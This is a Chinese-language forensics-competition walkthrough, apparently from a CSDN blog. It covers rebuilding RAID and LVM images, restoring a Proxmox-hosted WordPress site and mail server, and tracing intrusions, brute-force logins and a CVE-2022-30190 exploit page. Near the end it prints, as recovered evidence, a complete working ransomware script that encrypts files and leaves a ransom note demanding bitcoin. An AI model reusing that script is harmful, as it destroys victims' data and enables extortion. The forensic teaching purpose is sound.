(1条消息) LINUX - LVM原理及PV、VG、LV、PE、LE关系图_ApacheCrazyFan的博客-CSDN博客
在理解各个“卷、组”讲什么的基础上再来快速做题
Logical Volume Manager (LVM) 逻辑分卷管理器
Physical Volume(PV) 物理卷
pvdisplay
Volume Group(VG)卷组
Physical Extent(PE) 物理区域
vgs
vgdisplay
Logical Volume(LV)逻辑卷组
lvdisplay
lvs
fdisk -l /dev/md5
mdadm -D /dev/md5
/etc/mdadm.conf
A. root
B. VM_admin
C. sysadmin
D. acl
E. tss
对整个应用的配置文件进行检查,总是可以找到的。
在对这两个逻辑盘检查的过程中发现后面提到的111文件夹,对其分析有几率得到后面所需的镜像组合。
后面题目的解析与重构法相同,已与平台无关,对其中嵌套的ubuntu检材进行检查
半重构是借助各类工具,并不是按检材原本的组成方式来进行的。
这又是另外一种常用方法了。这里简单介绍一种。
既然是raid,可以挂在后使用各类工具进行自动检测,常用的工具有 R-Studio,UFS Explorer Professional Recovery,取证大师等。
这里也同样可以使用这种方法,这种解raid的方法我称为挂就完了,遇到raid先挂载,再识别。
打开UFS或者 R-Studio,就已经可以自动识别raid组了
ZFS可以直接查看文件和导出,导不出可以先镜像再用xways或者取证工具去导
很智能,R-Studio也已经识别了,但是需要先扫描才能查看文件结构
接下来将重组完的文件镜像导出即可,到处时间由电脑性能决定
两个软件都可以导,我导的是位对位,应该会快一点,但是稍微占地方一点
直接放取证大师里仿真和分析即可,弘连经试暂无法仿真和解析,美亚杯时就是在这里卡了很久,复盘时尝试美亚工具问题迎刃而解。转换为传统的服务器取证。
网络不通,重新配置网卡
Proxmox VE 物理环境修改后配置联网_hexesdesu的博客-CSDN博客
将vmbr0虚拟网卡桥接导我们现在的网卡ens33上
即可
接下来做题,前面基础操作无论哪种做法基本都差不多。
A. root
B. VM_admin
C. sysadmin
D. acl
E. tss
启动Proxmox进入网页进行管理
对该应用进行检查后,在用户处发现共有两个用户root和sysadmin
平台就这一题,所以对该promox平台的虚拟机进行简单检查即可,后面就是平台中的虚拟机了,查看下一题的’111’ AGC网站服务器
启动报错,意为该节点每个虚拟机最多分两个cpu,我们给他调成两个即可启动成功,但是不知道密码
同时在硬件处发现该虚拟机共使用vm-111-disk-1到vm-111-disk-3三个镜像,后面直接将这三个镜像导出,直接对其进行分析即可。
同样挂就完了,遇到多个镜像的先挂载,观察文件大小,
第一个大小为10G,后两个文件大小一样为15G,一般文件不大小一样的一般不会组成raid,加上只有vm-111-disk-1能解析出文件系统,且文件系统,考虑为系统盘和数据盘,数据盘中是否有raid这里软件没识别,不一定有,待仿真后进一步分析。放取证工具中先跑一遍。
存在Nginx、mysql、docker 、邮件,其他未解析出,等下仿真时重点关注。
修改网络配置,将网卡名称改成我们现在的网卡名称ens33
应用该设置
按标准作业流程,先查看基本信息,然后查看历史记录,再擦好看用用,对应用重复上述操作。
对历史记录进行检查,发现以下结果
root用户对sysadmin用户赋权
重点关注用户进的文件夹和进行的操作
root用户主要在对Xeams电邮系统进行操作
sysadmin用户以搭建了这个网站为主
同样,关注进入的文件夹,还关注高权限操作,一般是应用的启动操作,找到启动语句能很好的帮助我们重新启动应用,关注配置文件,是否有数据库连接记录,是否需要修改。历史记录比较多,这里仅作示意哪些方面需要重点关注的,具体的历史记录还需一条一条看过去,比武一般不会有太多的,几千条顶天了,几分钟大致浏览即可,等用到再回过头来仔细看。
基本信息和历史记录检查完毕。
开始重构应用,再上面检查的过程中发现该服务器起码有一个使用wordpress+nginx+mysql+php搭建的网站,还有一个java的邮件系统。
第一步查看各个服务是否已经启动
查看nginx配置文件
root@agcserver1:~# cd /etc/nginx/
root@agcserver1:/etc/nginx# ls
conf.d fastcgi.conf fastcgi_params koi-utf koi-win mime.types modules-available modules-enabled nginx.conf proxy_params scgi_params sites-available sites-enabled snippets uwsgi_params win-utf
root@agcserver1:/etc/nginx# cat nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
...
包含三个文件夹下的配置文件
结合前期检查的结果,曾编辑过网站专用的配置文件
root@agcserver1:/etc/nginx# cd conf.d/
root@agcserver1:/etc/nginx/conf.d# ls
agcom.shop.conf default.conf
root@agcserver1:/etc/nginx/conf.d# cat agcom.shop.conf
server {
listen 80;
listen [::]:80;
# listen 127.0.0.1:80;
#server_name localhost;
server_name www.agcom.shop agcom.shop;
root /usr/share/nginx/agcom.shop/;
index index.php index.html index.htm index.nginx-debian.html;
error_log /var/log/nginx/wordpress.error;
access_log /var/log/nginx/wordpress.access;
location / {
try_files $uri $uri/ /index.php;
}
location ~ ^/wp-json/ {
rewrite ^/wp-json/(.*?)$ /?rest_route=/$1 last;
}
location ~* /wp-sitemap.*\.xml {
try_files $uri $uri/ /index.php$is_args$args;
}
error_page 404 /404.html;
error_page 500 502 503 504 /50x.html;
client_max_body_size 20M;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
include snippets/fastcgi-php.conf;
}
#enable gzip compression
gzip on;
gzip_vary on;
gzip_min_length 1000;
gzip_comp_level 5;
gzip_types application/json text/css application/x-javascript application/javascript image/svg+xml;
gzip_proxied any;
# A long browser cache lifetime can speed up repeat visits to your page
location ~* \.(jpg|jpeg|gif|png|webp|svg|woff|woff2|ttf|css|js|ico|xml)$ {
access_log off;
log_not_found off;
expires 360d;
}
# disable access to hidden files
location ~ /\.ht {
access_log off;
log_not_found off;
deny all;
}
}
检查到网站的nginx配置文件,其中包含server_name、root网站目录位置和log网站日志位置
修改本机hosts,将server_name加入解析
访问该域名,访问成功,网站重构结束
网上找个搭建手册看一下,了解是如何运行起来的
453A 成功通过Xeams搭建邮件服务器_威联通 QNAP_那是云 | 智能生活 , 上那是云 - 智能生活,上那是云 (nasyun.com)
对配置文件进行检查,
在config目录下找到应用配置文件,对外端口是5272默认端口,验证搭建手册上的内容,进行访问,访问成功,邮件系统重构完成。
至此两个系统都已经重构完成了,下面就是结合题目,根据题目要求去查看数据库、绕过密码登录后台等操作。
在AGC_DESKTOP浏览器保存的账号密码处有该电邮系统admin的账号密码
根据前面的检查和分析,我们已经掌握了网站的日志文件位置为/var/log/nginx/wordpress.access
查看日志,分析其中的攻击行为,经对服务器的检查,在/usr/share/nginx/agcom.shop/下存在exploit.html这一远程漏洞执行程序
对该样本进行分析,发现其关键执行语句
CVE-2022-30190漏洞复现和检测——属于典型的无文件攻击场景之一 - bonelee - 博客园 (cnblogs.com)
是当时非常流行的一个漏洞利用,结合前面的恶意文档的流量特征和网站流量
该文件会以OPTIONS方法探测以下http://61.238.217.108:37374/是否存活,再向该网站GET
http://61.238.217.108:37374/exploit.html 。分析流量,查看get exploit.html的记录并计数
共发起过24次
A. 38.242.130.207
B. 218.92.0.206
C. 43.142.93.22
D. 121.202.141.105
E. 61.238.217.108
对其中登录失败的IP进行计数,btmp文件中
btmp.1文件中
lastb -f /tmp/btmp.1 | awk '{print $3}' | sort | uniq -c | sort -nr | head -10
故失败最多的可能是38.242.130.207这个IP
经对服务器的检查,发现在/usr/share/nginx/agcom.shop/folder处和/usr/AGC/folder处发现王景浩上传的黑页文件
scp和ssh一样,默认使用的是22端口
A. localhost
B. www.ag.com.shop
C. www.agcom.shop
D. agcom.shop
E. www.agcom.com
在对服务器内电邮进行检查的过程中发现有密码爆破的预警,来自182.239.92.183这个IP
该IP与王景浩家现场IP同属182.239网段,考虑更换过路由器,可能该IP是入侵时的IP182.239.92.183,具体确定还需分析王景浩的检材
转换成时间戳
A. Mac OS X 10.15 rv:102.0 Thunderbird/102.3.0
B. Mac OS X 10.15 rv:102.0 Thunderbird/91.13.1
C. Mac OS X 10.11 rv:91.0 Thunderbird/91.13.1
D. Mac OS X 10.11 rv:60.0 Thunderbird/60.9.1
E. Windows 10 Pro Outlook 2016
伪造邮件骗取钱财
查看邮件详细信息
A. C89D7A… …8C4E76
B. C7141F… …64BF65
C. E9433E… …1A5134
D. 45CE1C… …79BD4A
E. 0ACAA5… …AB7ECE
完全按照历史命令运行一遍程序、生成ransomware-ver-finalv2.py文件
import os
from cryptography.fernet import Fernet
#Finding files
files_allfiles = []
path = os.getcwd()
for root, dirs, files in os.walk(path):
if "RANSOM_NOTE.txt" in files:
files.remove("RANSOM_NOTE.txt")
if "ransomware-ver-finalv2.py" in files:
files.remove("ransomware-ver-finalv2.py")
for file in files:
filepath = root + "/" + file
files_allfiles.append(filepath)
print(files_allfiles)
key = Fernet.generate_key()
with open("/tmp/thekey.key", "wb") as thekey:
thekey.write(key)
for file in files_allfiles:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
with open('RANSOM_NOTE.txt', 'w') as f:
f.write(f'''************************************************************************\n
!!!!!!!!!!!!!!!!!!!!!!!!!你的电脑档案已被加密!!!!!!!!!!!!!!!!!!!!!!!!!!!\n
************************************************************************\n
\n
如果想修补资料,请将价值100,000人民币的比特币滙入我的比特币账户,\n
\n
我的比特币钱包(BTC钱包)是:bc1quw7rjcehx75fll82txz6yzya6zuhcsdgnzpzjzt \n
\n
滙钱后透过此电邮:[email protected] 联络以进行解密\n
\n
不要尝试自行解密档案,否则会破坏你的档案,后果自负! !
\n
************************************************************************\n
解密方法\n
\n
点击连结,下载程式\n
\n
https:\\3513664646551111dhfbsdjhbfjlucky7.decrypt.online/lucky7 \n
\n
点击连结,下载程式\n
\n
************************************************************************\n''')
####Testing Script###
""" files_allfiles2 = []
path2 = os.getcwd()
for root, dirs, files in os.walk(path2):
if "RANSOM_NOTE.txt" in files:
files.remove("RANSOM_NOTE.txt")
if "ransomware-ver-finalv2.1.py" in files:
files.remove("ransomware-ver-finalv2.1.py")
if "decrypt-ver-final.py" in files:
files.remove("decrypt-ver-final.py")
for file in files:
filepath = root + "/" + file
files_allfiles2.append(filepath)
print(files_allfiles2)
with open("/tmp/thekey.key", "rb") as keyread:
secretkey = keyread.read()
for file2 in files_allfiles2:
with open(file2, "rb") as unlockfile:
contents2 = unlockfile.read()
decryptedContents = Fernet(secretkey).decrypt(contents2)
with open(file2, "wb") as unlockfile:
unlockfile.write(decryptedContents) """
搜索找到密钥
对程序逻辑进行分析,发现后面注释掉的就是解密脚本。
A. 河背街
B. 沙咀道
C. 众安街
D. 香车街
E. 川龙街
编写解密脚本
运行
打开目标图片
题目做法与上面完全一致,只是如何起这个服务器,完全重构是按起原来的三个盘这样的结构,对其进行修复,再重构,而不是用工具先把raid组起来再重构。
在卷组以上层面看起来是一样的,就是是我们通过工具将三个磁盘镜像先组成raid,一个新镜像去仿真查看其上的卷组还是通过修复将三个镜像重新运行在新环境上,取证基本上都是对文件系统及其上的应用进行取证,所以有些时候不必纠结于底端磁盘是如何组织的。这里仅做演示,比武时根据自己所长选择各种方法,起码对一种方法熟练。
演示编写中。。。